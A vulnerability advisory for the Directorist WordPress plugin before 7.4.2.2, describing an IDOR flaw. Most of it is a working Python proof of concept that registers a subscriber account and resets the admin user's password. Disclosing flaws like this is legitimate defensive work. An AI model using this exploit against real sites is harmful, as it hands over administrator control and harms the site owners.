WordPress Plugin Vulnerabilities

Directorist < 7.4.2.2 - Subscriber+ Arbitrary User Password Update via IDOR

Description

The plugin suffers from an IDOR vulnerability which an attacker can exploit to change the password of arbitrary users instead of his own.

Proof of Concept

The following Python script automates the exploitation of this vulnerability. The script was tested on an installation of WordPress 6.1 with the vulnerable plugin installed.

The PoC registers a new user account (randomly generated) and changes the admin user's password (user id 1) to a randomly generated password.



import re
import string
import random

import requests

BASE_URL = "http://127.0.0.1:7777"
REG_PAGE = BASE_URL + "/?page_id=14"
LOGIN_PAGE = BASE_URL + "/?page_id=15"
DASH_PAGE = BASE_URL + "/?page_id=13"

USERNAME = "".join(random.choices(string.ascii_lowercase, k=8))
PASSWORD = "".join(random.choices(string.ascii_letters, k=12))
NEW_ADMIN_PASS = "".join(random.choices(string.ascii_letters, k=16))


with requests.Session() as session:
    print(f"[+] Registering user account: {USERNAME}:{PASSWORD}")
    response = session.get(REG_PAGE)
    nonce = re.search('"directorist_nonce":"(.+?)"', response.text).group(1)
    repsonse = session.post(
        REG_PAGE,
        data={
            "username": USERNAME,
            "email": USERNAME + "@example.com",
            "password": PASSWORD,
            "privacy_policy": "on",
            "t_c_check": "on",
            "atbdp_user_submit": "",
            "directorist_nonce": nonce,
        },
    )

    print(f"[+] Authenticating as user: {USERNAME}")
    response = session.get(LOGIN_PAGE)
    nonce = re.search(r'<input type="hidden" id="security" name="security" value="(\w+)" />', response.text).group(1)
    response = session.post(
        f"{BASE_URL}/wp-admin/admin-ajax.php?action=ajaxlogin",
        data={
            "security": nonce,
            "username": USERNAME,
            "password": PASSWORD,
            "rememberme": "0",
        },
    )

    print(f"[+] Changing admin (uid=1) password to: {NEW_ADMIN_PASS}")
    response = session.get(DASH_PAGE)
    directorist_nonce = re.search('"directorist_nonce":"(.+?)"', response.text).group(1)
    response = session.post(
        f"{BASE_URL}/wp-admin/admin-ajax.php?action=update_user_profile",
        data={
            "directorist_nonce": directorist_nonce,
            "user[ID]": "1",
            "user[new_pass]": NEW_ADMIN_PASS,
            "user[confirm_pass]": NEW_ADMIN_PASS,
        },
    )

Affects Plugins

Fixed in 7.4.2.2

References

Classification

Type
IDOR
CWE
CVSS

Miscellaneous

Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-11-16 (about 1 years ago)
Added
2022-11-21 (about 1 years ago)
Last Updated
2022-11-21 (about 1 years ago)

Other